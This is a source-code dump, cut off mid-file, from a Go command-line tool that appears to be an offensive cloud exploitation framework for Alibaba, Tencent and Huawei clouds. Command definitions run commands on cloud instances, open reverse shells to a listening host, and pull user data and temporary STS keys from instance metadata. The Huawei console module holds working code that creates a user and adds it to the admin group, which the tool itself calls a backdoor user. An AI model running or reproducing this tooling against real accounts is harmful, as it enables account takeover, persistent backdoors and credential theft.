ossObjGetCmd = &cobra.Command{ 68 | Use: "get", 69 | Short: "下载存储桶里的对象 (Downloading objects from the bucket)", 70 | Long: "下载存储桶里的对象 (Downloading objects from the bucket)", 71 | Run: func(cmd *cobra.Command, args []string) { 72 | alioss.DownloadObjects(ossDownloadBucket, ossDownloadObject, ossDownloadOutputPath, ossDownloadRegion, ossDownloadNumber) 73 | }, 74 | } 75 | 76 | var ossObjLsCmd = &cobra.Command{ 77 | Use: "ls", 78 | Short: "列出存储桶里的对象 (List objects in the bucket)", 79 | Long: "列出存储桶里的对象 (List objects in the bucket)", 80 | Run: func(cmd *cobra.Command, args []string) { 81 | alioss.PrintObjectsList(ossLsObjectNumber, ossLsObjectBucket, ossLsObjectRegion) 82 | }, 83 | } 84 | -------------------------------------------------------------------------------- /go.mod: -------------------------------------------------------------------------------- 1 | module github.com/teamssix/cf 2 | 3 | go 1.18 4 | 5 | require ( 6 | github.com/AlecAivazis/survey/v2 v2.3.5 7 | github.com/aliyun/alibaba-cloud-sdk-go v1.61.1685 8 | github.com/aliyun/aliyun-oss-go-sdk v2.2.4+incompatible 9 | github.com/aws/aws-sdk-go v1.44.109 10 | github.com/bitly/go-simplejson v0.5.0 11 | github.com/gookit/color v1.5.1 12 | github.com/huaweicloud/huaweicloud-sdk-go-obs v3.23.3+incompatible 13 | github.com/huaweicloud/huaweicloud-sdk-go-v3 v0.1.36 14 | github.com/ivanpirog/coloredcobra v1.0.1 15 | github.com/olekukonko/tablewriter v0.0.5 16 | github.com/schollz/progressbar/v3 v3.8.7 17 | github.com/sirupsen/logrus v1.9.0 18 | github.com/spf13/cobra v1.5.0 19 | github.com/ssbeatty/sqlite v1.0.4 20 | github.com/tencentcloud/tencentcloud-sdk-go/tencentcloud/cam v1.0.447 21 | github.com/tencentcloud/tencentcloud-sdk-go/tencentcloud/common v1.0.486 22 | github.com/tencentcloud/tencentcloud-sdk-go/tencentcloud/cvm v1.0.447 23 | github.com/tencentcloud/tencentcloud-sdk-go/tencentcloud/cwp v1.0.447 24 | github.com/tencentcloud/tencentcloud-sdk-go/tencentcloud/lighthouse v1.0.447 25 | github.com/tencentcloud/tencentcloud-sdk-go/tencentcloud/sts v1.0.475 26 | github.com/tencentcloud/tencentcloud-sdk-go/tencentcloud/tat v1.0.447 27 | github.com/thoas/go-funk v0.9.3 28 | github.com/x-cray/logrus-prefixed-formatter v0.5.2 29 | gorm.io/gorm v1.23.8 30 | ) 31 | 32 | require ( 33 | github.com/baiyubin/aliyun-sts-go-sdk v0.0.0-20180326062324-cfa1a18b161f // indirect 34 | github.com/bmizerany/assert v0.0.0-20160611221934-b7ed37b82869 // indirect 35 | github.com/fatih/color v1.13.0 // indirect 36 | github.com/google/go-cmp v0.5.8 // indirect 37 | github.com/google/uuid v1.3.0 // indirect 38 | github.com/inconshreveable/mousetrap v1.0.0 // indirect 39 | github.com/jinzhu/inflection v1.0.0 // indirect 40 | github.com/jinzhu/now v1.1.5 // indirect 41 | github.com/jmespath/go-jmespath v0.4.0 // indirect 42 | github.com/json-iterator/go v1.1.12 // indirect 43 | github.com/kballard/go-shellquote v0.0.0-20180428030007-95032a82bc51 // indirect 44 | github.com/kr/pretty v0.2.0 // indirect 45 | github.com/mattn/go-colorable v0.1.9 // indirect 46 | github.com/mattn/go-isatty v0.0.14 // indirect 47 | github.com/mattn/go-runewidth v0.0.13 // indirect 48 | github.com/mgutz/ansi v0.0.0-20170206155736-9520e82c474b // indirect 49 | github.com/mitchellh/colorstring v0.0.0-20190213212951-d06e56a500db // indirect 50 | github.com/modern-go/concurrent v0.0.0-20180306012644-bacd9c7ef1dd // indirect 51 | github.com/modern-go/reflect2 v1.0.2 // indirect 52 | github.com/onsi/ginkgo v1.16.5 // indirect 53 | github.com/onsi/gomega v1.20.0 // indirect 54 | github.com/remyoudompheng/bigfft v0.0.0-20200410134404-eec4a21b6bb0 // indirect 55 | github.com/rivo/uniseg v0.2.0 // indirect 56 | github.com/satori/go.uuid v1.2.0 // indirect 57 | github.com/spf13/pflag v1.0.5 // indirect 58 | github.com/xo/terminfo v0.0.0-20210125001918-ca9a967f8778 // indirect 59 | go.mongodb.org/mongo-driver v1.11.2 // indirect 60 | golang.org/x/crypto v0.7.0 // indirect 61 | golang.org/x/mod v0.8.0 // indirect 62 | golang.org/x/sys v0.6.0 // indirect 63 | golang.org/x/term v0.6.0 // indirect 64 | golang.org/x/text v0.8.0 // indirect 65 | golang.org/x/time v0.0.0-20220609170525-579cf78fd858 // indirect 66 | golang.org/x/tools v0.6.0 // indirect 67 | gopkg.in/check.v1 v1.0.0-20190902080502-41f04d3bba15 // indirect 68 | gopkg.in/ini.v1 v1.66.6 // indirect 69 | gopkg.in/yaml.v3 v3.0.1 // indirect 70 | lukechampine.com/uint128 v1.2.0 // indirect 71 | modernc.org/cc/v3 v3.36.0 // indirect 72 | modernc.org/ccgo/v3 v3.16.8 // indirect 73 | modernc.org/libc v1.16.19 // indirect 74 | modernc.org/mathutil v1.4.1 // indirect 75 | modernc.org/memory v1.1.1 // indirect 76 | modernc.org/opt v0.1.3 // indirect 77 | modernc.org/sqlite v1.18.1 // indirect 78 | modernc.org/strutil v1.1.2 // indirect 79 | modernc.org/token v1.0.0 // indirect 80 | ) 81 | 82 | replace github.com/ssbeatty/sqlite v1.0.4 => github.com/teamssix/sqlite v0.0.0-20220829105700-c806b7ad356b 83 | -------------------------------------------------------------------------------- /cmd/tencent/cvm.go: -------------------------------------------------------------------------------- 1 | package tencent 2 | 3 | import ( 4 | log "github.com/sirupsen/logrus" 5 | "github.com/spf13/cobra" 6 | tencentcvm2 "github.com/teamssix/cf/pkg/cloud/tencent/tencentcvm" 7 | ) 8 | 9 | var ( 10 | timeOut int 11 | 12 | running bool 13 | userData bool 14 | batchCommand bool 15 | cvmFlushCache bool 16 | metaDataSTSToken bool 17 | 18 | lhost string 19 | lport string 20 | command string 21 | scriptType string 22 | commandFile string 23 | cvmLsRegion string 24 | cvmLsSpecifiedInstanceID string 25 | cvmExecSpecifiedInstanceID string 26 | ) 27 | 28 | func init() { 29 | tencentCmd.AddCommand(cvmCmd) 30 | cvmCmd.AddCommand(cvmLsCmd) 31 | cvmCmd.AddCommand(cvmExecCmd) 32 | cvmCmd.PersistentFlags().BoolVar(&cvmFlushCache, "flushCache", false, "刷新缓存,不使用缓存数据 (Refresh the cache without using cached data)") 33 | 34 | cvmLsCmd.Flags().BoolVar(&running, "running", false, "只显示正在运行的实例 (Show only running instances)") 35 | cvmLsCmd.Flags().StringVarP(&cvmLsRegion, "region", "r", "all", "指定区域 ID (Specify Region ID)") 36 | cvmLsCmd.Flags().StringVarP(&cvmLsSpecifiedInstanceID, "instanceID", "i", "all", "指定实例 ID (Specify Instance ID)") 37 | 38 | cvmExecCmd.Flags().StringVarP(&command, "command", "c", "", "设置待执行的命令 (Set the command you want to execute)") 39 | cvmExecCmd.Flags().StringVarP(&cvmExecSpecifiedInstanceID, "instanceID", "i", "all", "指定实例 ID (Specify Instance ID)") 40 | cvmExecCmd.Flags().StringVarP(&commandFile, "file", "f", "", "设置待执行的命令文件 (Set the command file you want to execute)") 41 | cvmExecCmd.Flags().StringVarP(&scriptType, "scriptType", "s", "auto", "设置执行脚本的类型 (Set the type of script to execute) [sh|bat|ps]") 42 | cvmExecCmd.Flags().StringVar(&lhost, "lhost", "", "设置反弹 shell 的主机 IP (Set the ip of the listening host)") 43 | cvmExecCmd.Flags().StringVar(&lport, "lport", "", "设置反弹 shell 的主机端口 (Set the port of the listening host") 44 | cvmExecCmd.Flags().BoolVarP(&batchCommand, "batchCommand", "b", false, "一键执行三要素,方便 HW (Batch execution of multiple commands used to prove permission acquisition)") 45 | cvmExecCmd.Flags().BoolVarP(&userData, "userData", "u", false, "一键获取实例中的用户数据 (Get the user data on the instance)") 46 | cvmExecCmd.Flags().BoolVarP(&metaDataSTSToken, "metaDataSTSToken", "m", false, "一键获取实例元数据中的临时访问密钥 (Get the STS Token in the instance metadata)") 47 | cvmExecCmd.Flags().IntVarP(&timeOut, "timeOut", "t", 60, "设置命令执行结果的等待时间 (Set the command execution result waiting time)") 48 | } 49 | 50 | var cvmCmd = &cobra.Command{ 51 | Use: "cvm", 52 | Short: "执行与弹性计算服务相关的操作 (Perform cvm-related operations)", 53 | Long: "执行与弹性计算服务相关的操作 (Perform cvm-related operations)", 54 | } 55 | 56 | var cvmLsCmd = &cobra.Command{ 57 | Use: "ls", 58 | Short: "列出所有的实例 (List all instances)", 59 | Long: "列出所有的实例 (List all instances)", 60 | Run: func(cmd *cobra.Command, args []string) { 61 | tencentcvm2.PrintInstancesList(cvmLsRegion, running, cvmLsSpecifiedInstanceID, cvmFlushCache) 62 | }, 63 | } 64 | 65 | var cvmExecCmd = &cobra.Command{ 66 | Use: "exec", 67 | Short: "在实例上执行命令 (Execute the command on the instance)", 68 | Long: "在实例上执行命令 (Execute the command on the instance)", 69 | Run: func(cmd *cobra.Command, args []string) { 70 | if lhost != "" && lport == "" { 71 | log.Warnln("未指定反弹 shell 的主机端口 (The port of the listening host is not set)") 72 | cmd.Help() 73 | } else if lhost == "" && lport != "" { 74 | log.Warnln("未指定反弹 shell 的主机 IP (The ip of the listening host is not set)") 75 | cmd.Help() 76 | } else if command == "" && batchCommand == false && userData == false && metaDataSTSToken == false && commandFile == "" && lhost == "" && lport == "" { 77 | log.Warnln("还未指定要执行的命令 (The command to be executed has not been specified yet)") 78 | cmd.Help() 79 | } else { 80 | tencentcvm2.CVMExec(command, commandFile, scriptType, cvmExecSpecifiedInstanceID, "all", batchCommand, userData, metaDataSTSToken, cvmFlushCache, lhost, lport, timeOut) 81 | } 82 | }, 83 | } 84 | -------------------------------------------------------------------------------- /pkg/util/pubutil/pubutil.go: -------------------------------------------------------------------------------- 1 | package pubutil 2 | 3 | import ( 4 | "fmt" 5 | "io/ioutil" 6 | "os" 7 | "path/filepath" 8 | "strings" 9 | 10 | log "github.com/sirupsen/logrus" 11 | "github.com/teamssix/cf/pkg/util/global" 12 | ) 13 | 14 | type TimestampCache struct { 15 | TimestampType string 16 | Timestamp int64 17 | } 18 | 19 | type OSSCache struct { 20 | AccessKeyId string 21 | SN string 22 | Name string 23 | BucketACL string 24 | ObjectNumber string 25 | ObjectSize string 26 | Region string 27 | BucketURL string 28 | } 29 | 30 | type ECSCache struct { 31 | AccessKeyId string 32 | SN string 33 | InstanceId string 34 | InstanceName string 35 | OSName string 36 | OSType string 37 | Status string 38 | PrivateIpAddress string 39 | PublicIpAddress string 40 | RegionId string 41 | } 42 | 43 | type RDSCache struct { 44 | AccessKeyId string 45 | SN string 46 | DBInstanceId string 47 | Engine string 48 | EngineVersion string 49 | DBInstanceStatus string 50 | RegionId string 51 | } 52 | 53 | type TakeoverConsoleCache struct { 54 | Provider string 55 | AccessKeyId string 56 | PrimaryAccountID string 57 | UserId string 58 | UserName string 59 | Password string 60 | LoginUrl string 61 | CreateTime string 62 | } 63 | 64 | func GetUserDir() string { 65 | home, _ := os.UserHomeDir() 66 | return home 67 | } 68 | 69 | func GetConfigFilePath() string { 70 | home, _ := GetCFHomeDir() 71 | CreateFolder(home) 72 | configFilePath := filepath.Join(home, "cache.db") 73 | return configFilePath 74 | } 75 | 76 | func GetCFHomeDir() (string, error) { 77 | return filepath.Join(GetUserDir(), global.AppDirName), nil 78 | } 79 | 80 | func FileExists(path string) bool { 81 | _, err := os.Stat(path) 82 | if err != nil { 83 | if os.IsExist(err) { 84 | return true 85 | } 86 | return false 87 | } 88 | return true 89 | } 90 | 91 | func CreateFolder(folder string) { 92 | if !FileExists(folder) { 93 | log.Tracef("创建 %s 目录 (Create %s directory): ", folder, folder) 94 | _ = os.MkdirAll(folder, 0700) 95 | } 96 | } 97 | 98 | func FormatFileSize(fileSize int64) (size string) { 99 | if fileSize < 1024 { 100 | return fmt.Sprintf("%.2f B", float64(fileSize)/float64(1)) 101 | } else if fileSize < (1024 * 1024) { 102 | return fmt.Sprintf("%.2f KB", float64(fileSize)/float64(1024)) 103 | } else if fileSize < (1024 * 1024 * 1024) { 104 | return fmt.Sprintf("%.2f MB", float64(fileSize)/float64(1024*1024)) 105 | } else if fileSize < (1024 * 1024 * 1024 * 1024) { 106 | return fmt.Sprintf("%.2f GB", float64(fileSize)/float64(1024*1024*1024)) 107 | } else if fileSize < (1024 * 1024 * 1024 * 1024 * 1024) { 108 | return fmt.Sprintf("%.2f TB", float64(fileSize)/float64(1024*1024*1024*1024)) 109 | } else { 110 | return fmt.Sprintf("%.2fEB", float64(fileSize)/float64(1024*1024*1024*1024*1024)) 111 | } 112 | } 113 | 114 | func ReadFile(filePath string) (bool, string) { 115 | if FileExists(filePath) { 116 | file, err := os.Open(filePath) 117 | if err != nil { 118 | panic(err) 119 | } 120 | defer file.Close() 121 | content, err := ioutil.ReadAll(file) 122 | return true, string(content) 123 | } else { 124 | return false, "" 125 | } 126 | } 127 | 128 | func StringClean(str string) string { 129 | str = strings.TrimSpace(str) 130 | str = strings.Replace(str, "\n", "", -1) 131 | return str 132 | } 133 | 134 | func MaskAK(ak string) string { 135 | if len(ak) > 7 { 136 | prefix := ak[:2] 137 | suffix := ak[len(ak)-6:] 138 | return prefix + strings.Repeat("*", 18) + suffix 139 | } else { 140 | return ak 141 | } 142 | } 143 | 144 | func IN(target string, str_array []string) bool { 145 | for _, element := range str_array { 146 | if target == element { 147 | return true 148 | } 149 | } 150 | return false 151 | } 152 | -------------------------------------------------------------------------------- /pkg/cloud/alibaba/aliecs/client.go: -------------------------------------------------------------------------------- 1 | package aliecs 2 | 3 | import ( 4 | "os" 5 | 6 | "github.com/teamssix/cf/pkg/util/errutil" 7 | 8 | "github.com/aliyun/alibaba-cloud-sdk-go/sdk" 9 | "github.com/aliyun/alibaba-cloud-sdk-go/sdk/auth/credentials" 10 | "github.com/aliyun/alibaba-cloud-sdk-go/services/ecs" 11 | log "github.com/sirupsen/logrus" 12 | "github.com/teamssix/cf/pkg/util/cmdutil" 13 | ) 14 | 15 | func ECSClient(region string) *ecs.Client { 16 | aliconfig := cmdutil.GetConfig("alibaba") 17 | if aliconfig.AccessKeyId == "" { 18 | log.Warnln("需要先配置访问密钥 (Access Key need to be configured first)") 19 | os.Exit(0) 20 | return nil 21 | } else { 22 | config := sdk.NewConfig() 23 | if aliconfig.STSToken == "" { 24 | credential := credentials.NewAccessKeyCredential(aliconfig.AccessKeyId, aliconfig.AccessKeySecret) 25 | client, err := ecs.NewClientWithOptions(region, config, credential) 26 | errutil.HandleErr(err) 27 | if err == nil { 28 | log.Traceln("ECS Client 连接成功 (ECS Client connection successful)") 29 | } 30 | return client 31 | } else { 32 | credential := credentials.NewStsTokenCredential(aliconfig.AccessKeyId, aliconfig.AccessKeySecret, aliconfig.STSToken) 33 | client, err := ecs.NewClientWithOptions(region, config, credential) 34 | errutil.HandleErr(err) 35 | if err == nil { 36 | log.Traceln("ECS Client 连接成功 (ECS Client connection successful)") 37 | } 38 | return client 39 | } 40 | } 41 | } 42 | 43 | func GetECSRegions(fullRegions bool) []ecs.Region { 44 | var ecsRegions []ecs.Region 45 | client := ECSClient("cn-hangzhou") 46 | request := ecs.CreateDescribeRegionsRequest() 47 | request.Scheme = "https" 48 | response, err := client.DescribeRegions(request) 49 | errutil.HandleErr(err) 50 | ecsRegions = response.Regions.Region 51 | if fullRegions { 52 | var privateRegions = map[string]string{ 53 | "cn-shanghai-internal-test-1": "ecs-cn-hangzhou.aliyuncs.com", 54 | "cn-beijing-gov-1": "ecs.aliyuncs.com", 55 | "cn-shenzhen-su18-b01": "ecs-cn-hangzhou.aliyuncs.com", 56 | "cn-shanghai-inner": "ecs.aliyuncs.com", 57 | "cn-shenzhen-st4-d01": "ecs-cn-hangzhou.aliyuncs.com", 58 | "cn-haidian-cm12-c01": "ecs-cn-hangzhou.aliyuncs.com", 59 | "cn-hangzhou-internal-prod-1": "ecs-cn-hangzhou.aliyuncs.com", 60 | "cn-north-2-gov-1": "ecs.aliyuncs.com", 61 | "cn-yushanfang": "ecs.aliyuncs.com", 62 | "cn-hongkong-finance-pop": "ecs.aliyuncs.com", 63 | "cn-shanghai-finance-1": "ecs-cn-hangzhou.aliyuncs.com", 64 | "cn-beijing-finance-pop": "ecs.aliyuncs.com", 65 | "cn-wuhan": "ecs.aliyuncs.com", 66 | "cn-zhangbei": "ecs.aliyuncs.com", 67 | "cn-zhengzhou-nebula-1": "ecs.cn-qingdao-nebula.aliyuncs.com", 68 | "rus-west-1-pop": "ecs.aliyuncs.com", 69 | "cn-shanghai-et15-b01": "ecs-cn-hangzhou.aliyuncs.com", 70 | "cn-hangzhou-bj-b01": "ecs-cn-hangzhou.aliyuncs.com", 71 | "cn-hangzhou-internal-test-1": "ecs-cn-hangzhou.aliyuncs.com", 72 | "eu-west-1-oxs": "ecs.cn-shenzhen-cloudstone.aliyuncs.com", 73 | "cn-zhangbei-na61-b01": "ecs-cn-hangzhou.aliyuncs.com", 74 | "cn-hangzhou-internal-test-3": "ecs-cn-hangzhou.aliyuncs.com", 75 | "cn-shenzhen-finance-1": "ecs-cn-hangzhou.aliyuncs.com", 76 | "cn-hangzhou-internal-test-2": "ecs-cn-hangzhou.aliyuncs.com", 77 | "cn-hangzhou-test-306": "ecs-cn-hangzhou.aliyuncs.com", 78 | "cn-huhehaote-nebula-1": "ecs.cn-qingdao-nebula.aliyuncs.com", 79 | "cn-shanghai-et2-b01": "ecs-cn-hangzhou.aliyuncs.com", 80 | "cn-hangzhou-finance": "ecs.aliyuncs.com", 81 | "cn-beijing-nu16-b01": "ecs-cn-hangzhou.aliyuncs.com", 82 | "cn-edge-1": "ecs.cn-qingdao-nebula.aliyuncs.com", 83 | "cn-fujian": "ecs-cn-hangzhou.aliyuncs.com", 84 | "ap-northeast-2-pop": "ecs.aliyuncs.com", 85 | "cn-shenzhen-inner": "ecs.aliyuncs.com", 86 | "cn-zhangjiakou-na62-a01": "ecs.cn-zhangjiakou.aliyuncs.com", 87 | } 88 | for k, v := range privateRegions { 89 | ecsRegion := ecs.Region{ 90 | Status: "", 91 | RegionEndpoint: v, 92 | LocalName: "", 93 | RegionId: k, 94 | } 95 | ecsRegions = append(ecsRegions, ecsRegion) 96 | } 97 | } 98 | return ecsRegions 99 | } 100 | -------------------------------------------------------------------------------- /cmd/alibaba/ecs.go: -------------------------------------------------------------------------------- 1 | package alibaba 2 | 3 | import ( 4 | log "github.com/sirupsen/logrus" 5 | "github.com/spf13/cobra" 6 | aliecs2 "github.com/teamssix/cf/pkg/cloud/alibaba/aliecs" 7 | ) 8 | 9 | var ( 10 | timeOut int 11 | 12 | running bool 13 | userData bool 14 | batchCommand bool 15 | ecsFlushCache bool 16 | ecsLsAllRegions bool 17 | ecsExecAllRegions bool 18 | metaDataSTSToken bool 19 | 20 | lhost string 21 | lport string 22 | command string 23 | scriptType string 24 | commandFile string 25 | ecsLsRegion string 26 | ecsExecRegion string 27 | ecsLsSpecifiedInstanceID string 28 | ecsExecSpecifiedInstanceID string 29 | ) 30 | 31 | func init() { 32 | alibabaCmd.AddCommand(ecsCmd) 33 | ecsCmd.AddCommand(ecsLsCmd) 34 | ecsCmd.AddCommand(ecsExecCmd) 35 | 36 | ecsCmd.PersistentFlags().BoolVar(&ecsFlushCache, "flushCache", false, "刷新缓存,不使用缓存数据 (Refresh the cache without using cached data)") 37 | 38 | ecsLsCmd.Flags().StringVarP(&ecsLsRegion, "region", "r", "all", "指定区域 ID (Specify region ID)") 39 | ecsLsCmd.Flags().StringVarP(&ecsLsSpecifiedInstanceID, "instanceID", "i", "all", "指定实例 ID (Specify instance ID)") 40 | ecsLsCmd.Flags().BoolVar(&running, "running", false, "只显示正在运行的实例 (Show only running instances)") 41 | ecsLsCmd.Flags().BoolVarP(&ecsLsAllRegions, "allRegions", "a", false, "使用所有区域,包括私有区域 (Use all regions, including private regions)") 42 | 43 | ecsExecCmd.Flags().StringVarP(&ecsExecSpecifiedInstanceID, "instanceID", "i", "all", "指定实例 ID (Specify Instance ID)") 44 | ecsExecCmd.Flags().StringVarP(&command, "command", "c", "", "设置待执行的命令 (Set the command you want to execute)") 45 | ecsExecCmd.Flags().StringVarP(&commandFile, "file", "f", "", "设置待执行的命令文件 (Set the command file you want to execute)") 46 | ecsExecCmd.Flags().StringVarP(&scriptType, "scriptType", "s", "auto", "设置执行脚本的类型 (Specify the type of script to execute) [sh|bat|ps]") 47 | ecsExecCmd.Flags().StringVar(&lhost, "lhost", "", "设置反弹 shell 的主机 IP (Set the ip of the listening host)") 48 | ecsExecCmd.Flags().StringVar(&lport, "lport", "", "设置反弹 shell 的主机端口 (Set the port of the listening host)") 49 | ecsExecCmd.Flags().BoolVarP(&batchCommand, "batchCommand", "b", false, "一键执行三要素,方便 HW (Batch execution of multiple commands used to prove permission acquisition)") 50 | ecsExecCmd.Flags().BoolVarP(&userData, "userData", "u", false, "一键获取实例中的用户数据 (Get the user data on the instance)") 51 | ecsExecCmd.Flags().BoolVarP(&metaDataSTSToken, "metaDataSTSToken", "m", false, "一键获取实例元数据中的临时访问密钥 (Get the STS Token in the instance metadata)") 52 | ecsExecCmd.Flags().IntVarP(&timeOut, "timeOut", "t", 60, "设置命令执行结果的等待时间 (Set the command execution result waiting time)") 53 | ecsExecCmd.Flags().BoolVarP(&ecsExecAllRegions, "allRegions", "a", false, "使用所有区域,包括私有区域 (Use all regions, including private regions)") 54 | ecsExecCmd.Flags().StringVarP(&ecsExecRegion, "region", "r", "all", "指定区域 ID (Specify region ID)") 55 | 56 | } 57 | 58 | var ecsCmd = &cobra.Command{ 59 | Use: "ecs", 60 | Short: "执行与弹性计算服务相关的操作 (Perform ecs-related operations)", 61 | Long: "执行与弹性计算服务相关的操作 (Perform ecs-related operations)", 62 | } 63 | 64 | var ecsLsCmd = &cobra.Command{ 65 | Use: "ls", 66 | Short: "列出所有的实例 (List all instances)", 67 | Long: "列出所有的实例 (List all instances)", 68 | Run: func(cmd *cobra.Command, args []string) { 69 | aliecs2.PrintInstancesList(ecsLsRegion, running, ecsLsSpecifiedInstanceID, ecsFlushCache, ecsLsAllRegions) 70 | }, 71 | } 72 | 73 | var ecsExecCmd = &cobra.Command{ 74 | Use: "exec", 75 | Short: "在实例上执行命令 (Execute the command on the instance)", 76 | Long: "在实例上执行命令 (Execute the command on the instance)", 77 | Run: func(cmd *cobra.Command, args []string) { 78 | if lhost != "" && lport == "" { 79 | log.Warnln("未指定反弹 shell 的主机端口 (The port of the listening host is not set)") 80 | cmd.Help() 81 | } else if lhost == "" && lport != "" { 82 | log.Warnln("未指定反弹 shell 的主机 IP (The ip of the listening host is not set)") 83 | cmd.Help() 84 | } else if command == "" && batchCommand == false && userData == false && metaDataSTSToken == false && commandFile == "" && lhost == "" && lport == "" { 85 | log.Warnf("还未指定要执行的命令 (The command to be executed has not been specified yet)\n") 86 | cmd.Help() 87 | } else { 88 | aliecs2.ECSExec(command, commandFile, scriptType, ecsExecSpecifiedInstanceID, ecsExecRegion, batchCommand, userData, metaDataSTSToken, ecsFlushCache, lhost, lport, timeOut, ecsExecAllRegions) 89 | } 90 | }, 91 | } 92 | -------------------------------------------------------------------------------- /pkg/cloud/huawei/huaweiconsole/takeoverConsole.go: -------------------------------------------------------------------------------- 1 | package huaweiconsole 2 | 3 | import ( 4 | "github.com/teamssix/cf/pkg/util/errutil" 5 | "os" 6 | "strings" 7 | 8 | iamModel "github.com/huaweicloud/huaweicloud-sdk-go-v3/services/iam/v3/model" 9 | log "github.com/sirupsen/logrus" 10 | "github.com/teamssix/cf/pkg/cloud" 11 | "github.com/teamssix/cf/pkg/util" 12 | "github.com/teamssix/cf/pkg/util/database" 13 | ) 14 | 15 | func CreateUser(userName string, password string, domainId string) string { 16 | accessModeUser := "console" 17 | enabledUser := true 18 | pwdStatusUser := false 19 | createUserRequestContent := &iamModel.CreateUserRequest{} 20 | userbody := &iamModel.CreateUserOption{ 21 | AccessMode: &accessModeUser, 22 | Name: userName, 23 | DomainId: domainId, 24 | Password: &password, 25 | Enabled: &enabledUser, 26 | PwdStatus: &pwdStatusUser, 27 | } 28 | createUserRequestContent.Body = &iamModel.CreateUserRequestBody{ 29 | User: userbody, 30 | } 31 | createUserRequestResponse, err := IAMClient().CreateUser(createUserRequestContent) 32 | if err == nil { 33 | log.Debugf("创建 %s 用户成功 (Create %s user successfully)", userName, userName) 34 | } else { 35 | if strings.Contains(err.Error(), "1109") { 36 | log.Warnf("%s 用户已存在,无法接管,请指定其他的用户名 (%s user already exists and cannot take over, please specify another user name.)", userName, userName) 37 | os.Exit(0) 38 | } 39 | } 40 | newUserId := createUserRequestResponse.User.Id 41 | 42 | return newUserId 43 | } 44 | 45 | func getDomainId() ([]string, []string) { 46 | keystoneListAuthDomainsRequestContent := &iamModel.KeystoneListAuthDomainsRequest{} 47 | keystoneListAuthDomainsRequestResponse, err := IAMClient().KeystoneListAuthDomains(keystoneListAuthDomainsRequestContent) 48 | errutil.HandleErrNoExit(err) 49 | domains := keystoneListAuthDomainsRequestResponse.Domains 50 | domainsId := []string{} 51 | domainsName := []string{} 52 | for _, domain := range *domains { 53 | domainsId = append(domainsId, domain.Id) 54 | domainsName = append(domainsName, domain.Name) 55 | log.Debugf("查询 IAM 用户可以访问到的账户为 %s (The domain to get the current user is %s)", domain.Name, domain.Name) 56 | } 57 | return domainsId, domainsName 58 | } 59 | 60 | func getUserGroup(domainId string) string { 61 | // 查找当前用户所在的用户组的ID 62 | keystoneListGroupsRequestContent := &iamModel.KeystoneListGroupsRequest{} 63 | keystoneListGroupsRequestContent.DomainId = &domainId 64 | keystoneListGroupsRequestResponse, err := IAMClient().KeystoneListGroups(keystoneListGroupsRequestContent) 65 | errutil.HandleErrNoExit(err) 66 | 67 | groups := keystoneListGroupsRequestResponse.Groups 68 | var groupId string 69 | for _, group := range *groups { 70 | if group.Name == "admin" { 71 | log.Debugf("获得到 admin 用户组的 ID 为 %s (The admin user group ID is %s)", group.Id, group.Id) 72 | groupId = group.Id 73 | } 74 | } 75 | return groupId 76 | } 77 | 78 | func AddUserToGroup(userName string, userId string, groupId string) { 79 | keystoneAddUserToGroupRequestContent := &iamModel.KeystoneAddUserToGroupRequest{} 80 | keystoneAddUserToGroupRequestContent.GroupId = groupId 81 | keystoneAddUserToGroupRequestContent.UserId = userId 82 | _, err := IAMClient().KeystoneAddUserToGroup(keystoneAddUserToGroupRequestContent) 83 | if err != nil { 84 | errutil.HandleErrNoExit(err) 85 | } else { 86 | log.Debugf("成功为 %s 用户赋予管理员权限 (Successfully grant AdministratorAccess policy to the %s user)", userName, userName) 87 | } 88 | } 89 | 90 | func TakeoverConsole(userName string) { 91 | // 创建用户 92 | password := util.GenerateRandomPasswords() 93 | domainId, domainName := getDomainId() 94 | userId := CreateUser(userName, password, domainId[0]) 95 | // 获取 admin 用户组 ID 96 | groupId := getUserGroup(domainId[0]) 97 | AddUserToGroup(userName, userId, groupId) 98 | loginURL := "https://auth.huaweicloud.com/authui/login?id=" + domainName[0] 99 | data := [][]string{ 100 | {userName, password, loginURL}, 101 | } 102 | database.InsertTakeoverConsoleCache("huawei", userId, userName, password, loginURL) 103 | var header = []string{"用户名 (User Name)", "密码 (Password)", "控制台登录地址 (Login Url)"} 104 | var td = cloud.TableData{Header: header, Body: data} 105 | cloud.PrintTable(td, "") 106 | log.Infof("接管控制台成功,接管控制台会创建 %s 后门用户,如果想删除该后门用户,请执行 cf huawei console cancel 命令。(Successfully take over the console. Since taking over the console creates the backdoor user %s , if you want to delete the backdoor user, execute the command cf huawei console cancel.)", userName, userName) 107 | } 108 | -------------------------------------------------------------------------------- /pkg/cloud/huawei/huaweiconsole/client.go: -------------------------------------------------------------------------------- 1 | package huaweiconsole 2 | 3 | import ( 4 | "errors" 5 | "fmt" 6 | "github.com/teamssix/cf/pkg/util/errutil" 7 | "os" 8 | "strings" 9 | 10 | "github.com/huaweicloud/huaweicloud-sdk-go-v3/core/auth/global" 11 | iam "github.com/huaweicloud/huaweicloud-sdk-go-v3/services/iam/v3" 12 | iamModel "github.com/huaweicloud/huaweicloud-sdk-go-v3/services/iam/v3/model" 13 | iamRegion "github.com/huaweicloud/huaweicloud-sdk-go-v3/services/iam/v3/region" 14 | log "github.com/sirupsen/logrus" 15 | "github.com/teamssix/cf/pkg/util/cmdutil" 16 | ) 17 | 18 | func IAMClient() *iam.IamClient { 19 | huaweiConfig := cmdutil.GetConfig("huawei") 20 | if huaweiConfig.AccessKeyId == "" { 21 | log.Warnln("需要先配置访问密钥 (Access Key need to be configured first)") 22 | os.Exit(0) 23 | return nil 24 | } else { 25 | // 判断是否已经配置了STS Token 26 | if huaweiConfig.STSToken == "" { 27 | auth := global.NewCredentialsBuilder(). 28 | WithAk(huaweiConfig.AccessKeyId). 29 | WithSk(huaweiConfig.AccessKeySecret). 30 | Build() 31 | 32 | // 捕获 iam.NewIamClient 的异常信息 33 | defer func() { 34 | r := recover() 35 | if errStr, ok := r.(string); ok { 36 | if strings.Contains(errStr, "Incorrect IAM authentication information") { 37 | errutil.HandleErr(errors.New(errStr)) 38 | } else { 39 | fmt.Println(errStr) 40 | os.Exit(0) 41 | } 42 | } 43 | }() 44 | 45 | client := iam.NewIamClient( 46 | iam.IamClientBuilder(). 47 | WithRegion(iamRegion.ValueOf("cn-east-3")). 48 | WithCredential(auth). 49 | Build()) 50 | 51 | showPermanentAccessKeyRequestContent := &iamModel.ShowPermanentAccessKeyRequest{} 52 | showPermanentAccessKeyRequestContent.AccessKey = huaweiConfig.AccessKeyId 53 | showPermanentAccessKeyRequestResponse, err := client.ShowPermanentAccessKey(showPermanentAccessKeyRequestContent) 54 | if err != nil { 55 | errutil.HandleErr(err) 56 | } else if 